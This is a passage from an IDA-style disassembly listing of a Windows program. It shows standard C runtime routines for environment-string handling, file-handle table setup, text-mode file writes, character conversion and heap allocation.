		mov	dword_479E8C, esi
		jz	short loc_41A440
		cmp	byte ptr [eax],	0
		mov	ebx, eax
		jnz	short loc_41A442


loc_41A440:				; CODE XREF: sub_41A3FA+3Dj
		mov	ebx, esi


loc_41A442:				; CODE XREF: sub_41A3FA+44j
		lea	eax, [ebp+var_4]
		push	eax
		push	edi
		lea	esi, [ebp+var_8]
		xor	ecx, ecx
		mov	eax, ebx
		call	sub_41A28E
		mov	esi, [ebp+var_4]
		mov	eax, [ebp+var_8]
		shl	esi, 2
		add	eax, esi
		push	eax
		call	sub_41344D
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_41A472
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A497
; ---------------------------------------------------------------------------


loc_41A472:				; CODE XREF: sub_41A3FA+71j
		lea	eax, [ebp+var_4]
		push	eax
		lea	ecx, [esi+edi]
		push	edi
		lea	esi, [ebp+var_8]
		mov	eax, ebx
		call	sub_41A28E
		mov	eax, [ebp+var_4]
		dec	eax
		pop	ecx
		mov	dword_479E70, eax
		pop	ecx
		mov	dword_479E74, edi
		xor	eax, eax


loc_41A497:				; CODE XREF: sub_41A3FA+76j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A3FA	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A49C	proc near		; CODE XREF: .text:00414A3Ap

var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ecx
		push	ecx
		mov	eax, dword_47A138
		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, ds:dword_41F1A4
		xor	ebx, ebx
		xor	esi, esi
		cmp	eax, ebx
		push	2
		pop	ebp
		jnz	short loc_41A4E5
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A4CC
		mov	dword_47A138, 1
		jmp	short loc_41A4EA
; ---------------------------------------------------------------------------


loc_41A4CC:				; CODE XREF: sub_41A49C+22j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		cmp	eax, 78h
		jnz	short loc_41A4E0
		mov	eax, ebp
		mov	dword_47A138, eax
		jmp	short loc_41A4E5
; ---------------------------------------------------------------------------


loc_41A4E0:				; CODE XREF: sub_41A49C+39j
		mov	eax, dword_47A138


loc_41A4E5:				; CODE XREF: sub_41A49C+1Aj
					; sub_41A49C+42j
		cmp	eax, 1
		jnz	short loc_41A567


loc_41A4EA:				; CODE XREF: sub_41A49C+2Ej
		cmp	esi, ebx
		jnz	short loc_41A4F6
		call	edi	; GetEnvironmentStringsW
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A56F


loc_41A4F6:				; CODE XREF: sub_41A49C+50j
		cmp	[esi], bx
		mov	eax, esi
		jz	short loc_41A50B


loc_41A4FD:				; CODE XREF: sub_41A49C+66j
					; sub_41A49C+6Dj
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41A4FD
		add	eax, ebp
		cmp	[eax], bx
		jnz	short loc_41A4FD


loc_41A50B:				; CODE XREF: sub_41A49C+5Fj
		mov	edi, ds:dword_41F0AC
		push	ebx
		push	ebx
		push	ebx
		sub	eax, esi
		push	ebx
		sar	eax, 1
		inc	eax
		push	eax
		push	esi
		push	ebx
		push	ebx
		mov	[esp+38h+var_4], eax
		call	edi	; WideCharToMultiByte
		mov	ebp, eax
		cmp	ebp, ebx
		jz	short loc_41A55C
		push	ebp
		call	sub_41344D
		cmp	eax, ebx
		pop	ecx
		mov	[esp+18h+var_8], eax
		jz	short loc_41A55C
		push	ebx
		push	ebx
		push	ebp
		push	eax
		push	[esp+28h+var_4]
		push	esi
		push	ebx
		push	ebx
		call	edi	; WideCharToMultiByte
		test	eax, eax
		jnz	short loc_41A558
		push	[esp+18h+var_8]
		call	sub_412FE4
		pop	ecx
		mov	[esp+18h+var_8], ebx


loc_41A558:				; CODE XREF: sub_41A49C+ACj
		mov	ebx, [esp+18h+var_8]


loc_41A55C:				; CODE XREF: sub_41A49C+8Cj
					; sub_41A49C+9Bj
		push	esi
		call	ds:dword_41F1A0	; FreeEnvironmentStringsW
		mov	eax, ebx
		jmp	short loc_41A5B7
; ---------------------------------------------------------------------------


loc_41A567:				; CODE XREF: sub_41A49C+4Cj
		cmp	eax, ebp
		jz	short loc_41A573
		cmp	eax, ebx
		jz	short loc_41A573


loc_41A56F:				; CODE XREF: sub_41A49C+58j
					; sub_41A49C+E1j
		xor	eax, eax
		jmp	short loc_41A5B7
; ---------------------------------------------------------------------------


loc_41A573:				; CODE XREF: sub_41A49C+CDj
					; sub_41A49C+D1j
		call	ds:dword_41F19C	; GetEnvironmentStringsA
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41A56F
		cmp	[esi], bl
		jz	short loc_41A58D


loc_41A583:				; CODE XREF: sub_41A49C+EAj
					; sub_41A49C+EFj
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A583
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41A583


loc_41A58D:				; CODE XREF: sub_41A49C+E5j
		sub	eax, esi
		inc	eax
		mov	ebp, eax
		push	ebp
		call	sub_41344D
		mov	edi, eax
		cmp	edi, ebx
		pop	ecx
		jnz	short loc_41A5A3
		xor	edi, edi
		jmp	short loc_41A5AE
; ---------------------------------------------------------------------------


loc_41A5A3:				; CODE XREF: sub_41A49C+101j
		push	ebp
		push	esi
		push	edi
		call	sub_4177B0
		add	esp, 0Ch


loc_41A5AE:				; CODE XREF: sub_41A49C+105j
		push	esi
		call	ds:dword_41F198	; FreeEnvironmentStringsA
		mov	eax, edi


loc_41A5B7:				; CODE XREF: sub_41A49C+C9j
					; sub_41A49C+D5j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		pop	ecx
		retn
sub_41A49C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A5BE	proc near		; CODE XREF: .text:00414A1Ep

var_48		= dword	ptr -48h
var_44		= byte ptr -44h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h

		sub	esp, 48h
		push	ebx
		mov	ebx, 480h
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jnz	short loc_41A5DA
		or	eax, 0FFFFFFFFh
		jmp	loc_41A7B7
; ---------------------------------------------------------------------------


loc_41A5DA:				; CODE XREF: sub_41A5BE+12j
		mov	dword_47A2E0, eax
		mov	dword_47A2C8, 20h
		lea	ecx, [eax+480h]
		jmp	short loc_41A60F
; ---------------------------------------------------------------------------


loc_41A5F1:				; CODE XREF: sub_41A5BE+53j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, dword_47A2E0
		add	eax, 24h
		add	ecx, 480h


loc_41A60F:				; CODE XREF: sub_41A5BE+31j
		cmp	eax, ecx
		jb	short loc_41A5F1
		push	ebp
		push	esi
		push	edi
		lea	eax, [esp+58h+var_44]
		push	eax
		call	ds:dword_41F148	; GetStartupInfoA
		cmp	word ptr [esp+58h+var_14+2], 0
		jz	loc_41A716
		mov	eax, [esp+58h+var_10]
		test	eax, eax
		jz	loc_41A716
		mov	edi, [eax]
		lea	ebp, [eax+4]
		lea	eax, [edi+ebp]
		mov	[esp+58h+var_48], eax
		mov	eax, 800h
		cmp	edi, eax
		jl	short loc_41A650
		mov	edi, eax


loc_41A650:				; CODE XREF: sub_41A5BE+8Ej
		cmp	dword_47A2C8, edi
		jge	short loc_41A6A6
		mov	esi, offset dword_47A2E4


loc_41A65D:				; CODE XREF: sub_41A5BE+DEj
		push	ebx
		call	sub_41344D
		test	eax, eax
		pop	ecx
		jz	short loc_41A6A0
		add	dword_47A2C8, 20h
		mov	[esi], eax
		lea	ecx, [eax+480h]
		jmp	short loc_41A68F
; ---------------------------------------------------------------------------


loc_41A679:				; CODE XREF: sub_41A5BE+D3j
		and	byte ptr [eax+4], 0
		or	dword ptr [eax], 0FFFFFFFFh
		and	dword ptr [eax+8], 0
		mov	byte ptr [eax+5], 0Ah
		mov	ecx, [esi]
		add	eax, 24h
		add	ecx, ebx


loc_41A68F:				; CODE XREF: sub_41A5BE+B9j
		cmp	eax, ecx
		jb	short loc_41A679
		add	esi, 4
		cmp	dword_47A2C8, edi
		jl	short loc_41A65D
		jmp	short loc_41A6A6
; ---------------------------------------------------------------------------


loc_41A6A0:				; CODE XREF: sub_41A5BE+A8j
		mov	edi, dword_47A2C8


loc_41A6A6:				; CODE XREF: sub_41A5BE+98j
					; sub_41A5BE+E0j
		xor	ebx, ebx
		test	edi, edi
		jle	short loc_41A716


loc_41A6AC:				; CODE XREF: sub_41A5BE+156j
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A70B
		mov	cl, [ebp+0]
		test	cl, 1
		jz	short loc_41A70B
		test	cl, 8
		jnz	short loc_41A6CF
		push	eax
		call	ds:dword_41F1AC	; GetFileType
		test	eax, eax
		jz	short loc_41A70B


loc_41A6CF:				; CODE XREF: sub_41A5BE+104j
		mov	ecx, ebx
		mov	eax, ebx
		and	eax, 1Fh
		lea	eax, [eax+eax*8]
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	esi, [ecx+eax*4]
		mov	eax, [esp+58h+var_48]
		mov	eax, [eax]
		mov	[esi], eax
		mov	al, [ebp+0]
		mov	[esi+4], al
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A736
		inc	dword ptr [esi+8]


loc_41A70B:				; CODE XREF: sub_41A5BE+F7j
					; sub_41A5BE+FFj ...
		add	[esp+58h+var_48], 4
		inc	ebx
		inc	ebp
		cmp	ebx, edi
		jl	short loc_41A6AC


loc_41A716:				; CODE XREF: sub_41A5BE+69j
					; sub_41A5BE+75j ...
		xor	ebx, ebx


loc_41A718:				; CODE XREF: sub_41A5BE+1E2j
		mov	ecx, dword_47A2E0
		lea	eax, [ebx+ebx*8]
		lea	esi, [ecx+eax*4]
		cmp	dword ptr [esi], 0FFFFFFFFh
		jnz	short loc_41A798
		test	ebx, ebx
		mov	byte ptr [esi+4], 81h
		jnz	short loc_41A73B
		push	0FFFFFFF6h
		pop	eax
		jmp	short loc_41A745
; ---------------------------------------------------------------------------


loc_41A736:				; CODE XREF: sub_41A5BE+148j
					; sub_41A5BE+1CDj
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A7B4
; ---------------------------------------------------------------------------


loc_41A73B:				; CODE XREF: sub_41A5BE+171j
		mov	eax, ebx
		dec	eax
		neg	eax
		sbb	eax, eax
		add	eax, 0FFFFFFF5h


loc_41A745:				; CODE XREF: sub_41A5BE+176j
		push	eax
		call	ds:dword_41F190	; GetStdHandle
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jz	short loc_41A792
		push	edi
		call	ds:dword_41F1AC	; GetFileType
		test	eax, eax
		jz	short loc_41A792
		and	eax, 0FFh
		cmp	eax, 2
		mov	[esi], edi
		jnz	short loc_41A770
		or	byte ptr [esi+4], 40h
		jmp	short loc_41A779
; ---------------------------------------------------------------------------


loc_41A770:				; CODE XREF: sub_41A5BE+1AAj
		cmp	eax, 3
		jnz	short loc_41A779
		or	byte ptr [esi+4], 8


loc_41A779:				; CODE XREF: sub_41A5BE+1B0j
					; sub_41A5BE+1B5j
		lea	eax, [esi+0Ch]
		push	0FA0h
		push	eax
		call	sub_41BBD8
		test	eax, eax
		pop	ecx
		pop	ecx
		jz	short loc_41A736
		inc	dword ptr [esi+8]
		jmp	short loc_41A79C
; ---------------------------------------------------------------------------


loc_41A792:				; CODE XREF: sub_41A5BE+193j
					; sub_41A5BE+19Ej
		or	byte ptr [esi+4], 40h
		jmp	short loc_41A79C
; ---------------------------------------------------------------------------


loc_41A798:				; CODE XREF: sub_41A5BE+169j
		or	byte ptr [esi+4], 80h


loc_41A79C:				; CODE XREF: sub_41A5BE+1D2j
					; sub_41A5BE+1D8j
		inc	ebx
		cmp	ebx, 3
		jl	loc_41A718
		push	dword_47A2C8
		call	ds:dword_41F1A8	; SetHandleCount
		xor	eax, eax


loc_41A7B4:				; CODE XREF: sub_41A5BE+17Bj
		pop	edi
		pop	esi
		pop	ebp


loc_41A7B7:				; CODE XREF: sub_41A5BE+17j
		pop	ebx
		add	esp, 48h
		retn
sub_41A5BE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A7BC	proc near		; CODE XREF: sub_41A961+52p
					; sub_41D96E+91p

var_420		= byte ptr -420h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 420h
		mov	eax, dword_42CE38
		xor	eax, [ebp+4]
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_8], edi
		mov	[ebp+var_4], eax
		mov	[ebp+var_14], edi
		mov	[ebp+var_18], edi
		jnz	short loc_41A7E5
		xor	eax, eax
		jmp	loc_41A953
; ---------------------------------------------------------------------------


loc_41A7E5:				; CODE XREF: sub_41A7BC+20j
		mov	eax, [ebp+arg_0]
		push	ebx
		mov	ebx, [ebp+arg_0]
		and	eax, 1Fh
		sar	ebx, 5
		push	esi
		lea	esi, [eax+eax*8]
		lea	ebx, ds:47A2E0h[ebx*4]
		mov	eax, [ebx]
		shl	esi, 2
		test	byte ptr [eax+esi+4], 20h
		jz	short loc_41A818
		push	2
		push	edi
		push	edi
		push	[ebp+arg_0]
		call	sub_41D896
		add	esp, 10h


loc_41A818:				; CODE XREF: sub_41A7BC+4Bj
		mov	eax, [ebx]
		add	eax, esi
		test	byte ptr [eax+4], 80h
		jz	loc_41A8EA
		cmp	[ebp+arg_8], edi
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_10], eax
		mov	[ebp+var_8], edi
		jbe	loc_41A925


loc_41A838:				; CODE XREF: sub_41A7BC+F3j
		mov	ecx, [ebp+var_10]
		sub	ecx, [ebp+arg_4]
		lea	eax, [ebp+var_420]
		mov	[ebp+var_C], edi


loc_41A847:				; CODE XREF: sub_41A7BC+B5j
		cmp	ecx, [ebp+arg_8]
		jnb	short loc_41A873
		mov	edx, [ebp+var_10]
		inc	[ebp+var_10]
		mov	dl, [edx]
		inc	ecx
		cmp	dl, 0Ah
		jnz	short loc_41A864
		inc	[ebp+var_18]
		mov	byte ptr [eax],	0Dh
		inc	eax
		inc	[ebp+var_C]


loc_41A864:				; CODE XREF: sub_41A7BC+9Cj
		mov	[eax], dl
		inc	eax
		inc	[ebp+var_C]
		cmp	[ebp+var_C], 400h
		jl	short loc_41A847


loc_41A873:				; CODE XREF: sub_41A7BC+8Ej
		mov	edi, eax
		lea	eax, [ebp+var_420]
		sub	edi, eax
		push	0
		lea	eax, [ebp+var_1C]
		push	eax
		push	edi
		lea	eax, [ebp+var_420]
		push	eax
		mov	eax, [ebx]
		push	dword ptr [eax+esi]
		call	ds:dword_41F038	; WriteFile
		test	eax, eax
		jz	short loc_41A8B3
		mov	eax, [ebp+var_1C]
		add	[ebp+var_14], eax
		cmp	eax, edi
		jl	short loc_41A8BC
		mov	eax, [ebp+var_10]
		sub	eax, [ebp+arg_4]
		xor	edi, edi
		cmp	eax, [ebp+arg_8]
		jb	short loc_41A838
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A8B3:				; CODE XREF: sub_41A7BC+DCj
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax


loc_41A8BC:				; CODE XREF: sub_41A7BC+E6j
		xor	edi, edi


loc_41A8BE:				; CODE XREF: sub_41A7BC+F5j
					; sub_41A7BC+14Ej ...
		mov	eax, [ebp+var_14]
		cmp	eax, edi
		jnz	loc_41A94E
		cmp	[ebp+var_8], edi
		jz	short loc_41A925
		push	5
		pop	esi
		cmp	[ebp+var_8], esi
		jnz	short loc_41A917
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		mov	[eax], esi
		jmp	short loc_41A920
; ---------------------------------------------------------------------------


loc_41A8EA:				; CODE XREF: sub_41A7BC+64j
		push	edi
		lea	ecx, [ebp+var_1C]
		push	ecx
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	dword ptr [eax]
		call	ds:dword_41F038	; WriteFile
		test	eax, eax
		jz	short loc_41A90C
		mov	eax, [ebp+var_1C]
		mov	[ebp+var_8], edi
		mov	[ebp+var_14], eax
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A90C:				; CODE XREF: sub_41A7BC+143j
		call	ds:dword_41F008	; RtlGetLastWin32Error
		mov	[ebp+var_8], eax
		jmp	short loc_41A8BE
; ---------------------------------------------------------------------------


loc_41A917:				; CODE XREF: sub_41A7BC+118j
		push	[ebp+var_8]
		call	sub_417C82
		pop	ecx


loc_41A920:				; CODE XREF: sub_41A7BC+12Cj
					; sub_41A7BC+190j
		or	eax, 0FFFFFFFFh
		jmp	short loc_41A951
; ---------------------------------------------------------------------------


loc_41A925:				; CODE XREF: sub_41A7BC+76j
					; sub_41A7BC+110j
		mov	eax, [ebx]
		test	byte ptr [eax+esi+4], 40h
		jz	short loc_41A93A
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax],	1Ah
		jnz	short loc_41A93A
		xor	eax, eax
		jmp	short loc_41A951
; ---------------------------------------------------------------------------


loc_41A93A:				; CODE XREF: sub_41A7BC+170j
					; sub_41A7BC+178j
		call	sub_417C70
		mov	dword ptr [eax], 1Ch
		call	sub_417C79
		mov	[eax], edi
		jmp	short loc_41A920
; ---------------------------------------------------------------------------


loc_41A94E:				; CODE XREF: sub_41A7BC+107j
		sub	eax, [ebp+var_18]


loc_41A951:				; CODE XREF: sub_41A7BC+167j
					; sub_41A7BC+17Cj
		pop	esi
		pop	ebx


loc_41A953:				; CODE XREF: sub_41A7BC+24j
		mov	ecx, [ebp+var_4]
		xor	ecx, [ebp+4]
		pop	edi
		call	sub_4182D6
		leave
		retn
sub_41A7BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A961	proc near		; CODE XREF: sub_414AFC+98p
					; sub_414AFC+EBp ...

var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

; FUNCTION CHUNK AT 0041A9F0 SIZE 0000001C BYTES

		push	0Ch
		push	offset stru_4283E8
		call	__SEH_prolog
		mov	ebx, [ebp+arg_0]
		cmp	ebx, dword_47A2C8
		jnb	short loc_41A9F0
		mov	eax, ebx
		sar	eax, 5
		lea	edi, ds:47A2E0h[eax*4]
		mov	eax, ebx
		and	eax, 1Fh
		lea	esi, [eax+eax*8]
		shl	esi, 2
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A9F0
		push	ebx
		call	sub_41B7AC
		pop	ecx
		and	[ebp+ms_exc.disabled], 0
		mov	eax, [edi]
		test	byte ptr [eax+esi+4], 1
		jz	short loc_41A9C0
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	ebx
		call	sub_41A7BC
		add	esp, 0Ch
		mov	[ebp+var_1C], eax
		jmp	short loc_41A9D7
; ---------------------------------------------------------------------------


loc_41A9C0:				; CODE XREF: sub_41A961+49j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	[ebp+var_1C], 0FFFFFFFFh


loc_41A9D7:				; CODE XREF: sub_41A961+5Dj
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41A9E8
		mov	eax, [ebp+var_1C]
		jmp	short loc_41AA06
sub_41A961	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A9E5	proc near		; DATA XREF: .rdata:stru_4283E8o
		mov	ebx, [ebp+8]
sub_41A9E5	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41A9E8	proc near		; CODE XREF: sub_41A961+7Ap
		push	ebx
		call	sub_41B81F
		pop	ecx
		retn
sub_41A9E8	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41A961


loc_41A9F0:				; CODE XREF: sub_41A961+15j
					; sub_41A961+35j
		call	sub_417C70
		mov	dword ptr [eax], 9
		call	sub_417C79
		and	dword ptr [eax], 0
		or	eax, 0FFFFFFFFh


loc_41AA06:				; CODE XREF: sub_41A961+82j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41A961

; =============== S U B	R O U T	I N E =======================================



sub_41AA0C	proc near		; CODE XREF: sub_414AFC+6Fp
					; sub_417455+34p ...

arg_0		= dword	ptr  4

		inc	dword_479EB8
		push	1000h
		call	sub_41344D
		test	eax, eax
		pop	ecx
		mov	ecx, [esp+arg_0]
		mov	[ecx+8], eax
		jz	short loc_41AA35
		or	dword ptr [ecx+0Ch], 8
		mov	dword ptr [ecx+18h], 1000h
		jmp	short loc_41AA46
; ---------------------------------------------------------------------------


loc_41AA35:				; CODE XREF: sub_41AA0C+1Aj
		or	dword ptr [ecx+0Ch], 4
		lea	eax, [ecx+14h]
		mov	[ecx+8], eax
		mov	dword ptr [ecx+18h], 2


loc_41AA46:				; CODE XREF: sub_41AA0C+27j
		mov	eax, [ecx+8]
		and	dword ptr [ecx+4], 0
		mov	[ecx], eax
		retn
sub_41AA0C	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AA50	proc near		; CODE XREF: sub_414AFC+64p
					; sub_418FBC+8p

arg_0		= dword	ptr  4

		mov	eax, [esp+arg_0]
		cmp	eax, dword_47A2C8
		jb	short loc_41AA5F
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_41AA5F:				; CODE XREF: sub_41AA50+Aj
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_47A2E0[ecx*4]
		lea	eax, [eax+eax*8]
		movsx	eax, byte ptr [ecx+eax*4+4]
		and	eax, 40h
		retn
sub_41AA50	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA7A	proc near		; CODE XREF: sub_41AADA+1Ep

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= word ptr  10h

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_4]
		push	esi
		xor	esi, esi
		cmp	ecx, esi
		jnz	short loc_41AA8B
		xor	eax, eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AA8B:				; CODE XREF: sub_41AA7A+Bj
		mov	eax, [ebp+arg_0]
		cmp	[eax+14h], esi
		jnz	short loc_41AAA4
		mov	ax, [ebp+arg_8]
		cmp	ax, 0FFh
		ja	short loc_41AAC9
		mov	[ecx], al
		xor	eax, eax
		inc	eax
		jmp	short loc_41AAD7
; ---------------------------------------------------------------------------


loc_41AAA4:				; CODE XREF: sub_41AA7A+17j
		lea	edx, [ebp+arg_4]
		push	edx
		push	esi
		push	dword ptr [eax+28h]
		mov	[ebp+arg_4], esi
		push	ecx
		push	1
		lea	ecx, [ebp+arg_8]
		push	ecx
		push	esi
		push	dword ptr [eax+4]
		call	ds:dword_41F0AC	; WideCharToMultiByte
		cmp	eax, esi
		jz	short loc_41AAC9
		cmp	[ebp+arg_4], esi
		jz	short loc_41AAD7


loc_41AAC9:				; CODE XREF: sub_41AA7A+21j
					; sub_41AA7A+48j
		call	sub_417C70
		mov	dword ptr [eax], 2Ah
		or	eax, 0FFFFFFFFh


loc_41AAD7:				; CODE XREF: sub_41AA7A+Fj
					; sub_41AA7A+28j ...
		pop	esi
		pop	ebp
		retn
sub_41AA7A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AADA	proc near		; CODE XREF: sub_414CA3+317p
					; sub_414CA3+6F7p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AAEF
		call	sub_41628E


loc_41AAEF:				; CODE XREF: sub_41AADA+Ej
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		push	eax
		call	sub_41AA7A
		add	esp, 0Ch
		retn
sub_41AADA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AB01	proc near		; CODE XREF: sub_415456+23p
					; sub_4154C7+29p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
ms_exc		= CPPEH_RECORD ptr -18h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0041ABB4 SIZE 00000008 BYTES

		push	10h
		push	offset stru_4283F8
		call	__SEH_prolog
		mov	esi, [ebp+arg_0]
		imul	esi, [ebp+arg_4]
		mov	[ebp+var_1C], esi
		test	esi, esi
		jnz	short loc_41AB1C
		inc	esi


loc_41AB1C:				; CODE XREF: sub_41AB01+18j
					; sub_41AB01+9Fj
		xor	edi, edi
		mov	[ebp+var_20], edi
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41AB8B
		cmp	dword_47A640, 3
		jnz	short loc_41AB76
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		mov	[ebp+arg_4], esi
		mov	ebx, [ebp+var_1C]
		cmp	ebx, dword_47A62C
		ja	short loc_41AB76
		push	4
		call	sub_416901
		pop	ecx
		and	[ebp+ms_exc.disabled], edi
		push	ebx
		call	sub_417159
		pop	ecx
		mov	[ebp+var_20], eax
		or	[ebp+ms_exc.disabled], 0FFFFFFFFh
		call	sub_41ABAB
		mov	edi, [ebp+var_20]
		test	edi, edi
		jz	short loc_41AB7A
		push	[ebp+var_1C]
		push	0
		push	edi
		call	sub_41ADD0
		add	esp, 0Ch


loc_41AB76:				; CODE XREF: sub_41AB01+2Cj
					; sub_41AB01+40j
		test	edi, edi
		jnz	short loc_41ABB4


loc_41AB7A:				; CODE XREF: sub_41AB01+65j
		push	esi
		push	8
		push	dword_47A63C
		call	ds:dword_41F13C	; RtlAllocateHeap
		mov	edi, eax


loc_41AB8B:				; CODE XREF: sub_41AB01+23j
		test	edi, edi
		jnz	short loc_41ABB4
		cmp	dword_47A014, edi
		jz	short loc_41ABB4
		push	esi
		call	sub_417AED
		pop	ecx
		test	eax, eax
		jnz	loc_41AB1C
		jmp	short loc_41ABB6
sub_41AB01	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABA8	proc near		; DATA XREF: .rdata:stru_4283F8o
		mov	esi, [ebp+0Ch]
sub_41ABA8	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41ABAB	proc near		; CODE XREF: sub_41AB01+5Bp
		push	4
		call	sub_41686D
		pop	ecx
		retn
sub_41ABAB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB01


loc_41ABB4:				; CODE XREF: sub_41AB01+77j
					; sub_41AB01+8Cj ...
		mov	eax, edi


loc_41ABB6:				; CODE XREF: sub_41AB01+A5j
		call	__SEH_epilog
		retn
; END OF FUNCTION CHUNK	FOR sub_41AB01

; =============== S U B	R O U T	I N E =======================================



sub_41ABBC	proc near		; CODE XREF: sub_41554C+CFp
					; sub_41554C+301p ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41ABD1
		call	sub_41628E


loc_41ABD1:				; CODE XREF: sub_41ABBC+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41ABE7
		push	4
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41ABE7:				; CODE XREF: sub_41ABBC+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 4
		retn
sub_41ABBC	endp


; =============== S U B	R O U T	I N E =======================================



sub_41ABF6	proc near		; CODE XREF: sub_41554C+840p
					; sub_41554C+922p

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AC0B
		call	sub_41628E


loc_41AC0B:				; CODE XREF: sub_41ABF6+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41AC24
		push	80h
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41AC24:				; CODE XREF: sub_41ABF6+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 80h
		retn
sub_41ABF6	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC35	proc near		; CODE XREF: sub_41554C+3Fp
					; sub_41554C+5Ap ...

arg_0		= dword	ptr  4

		call	sub_415456
		mov	eax, [eax+64h]
		cmp	eax, off_42C7BC
		jz	short loc_41AC4A
		call	sub_41628E


loc_41AC4A:				; CODE XREF: sub_41AC35+Ej
		cmp	dword ptr [eax+28h], 1
		jle	short loc_41AC60
		push	8
		push	[esp+4+arg_0]
		push	eax
		call	sub_41608B
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_41AC60:				; CODE XREF: sub_41AC35+19j
		mov	eax, [eax+48h]
		mov	ecx, [esp+arg_0]
		movzx	eax, byte ptr [eax+ecx*2]
		and	eax, 8
		retn
sub_41AC35	endp


; =============== S U B	R O U T	I N E =======================================



sub_41AC6F	proc near		; CODE XREF: sub_41554C+6Dp
					; sub_41554C+3DCp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
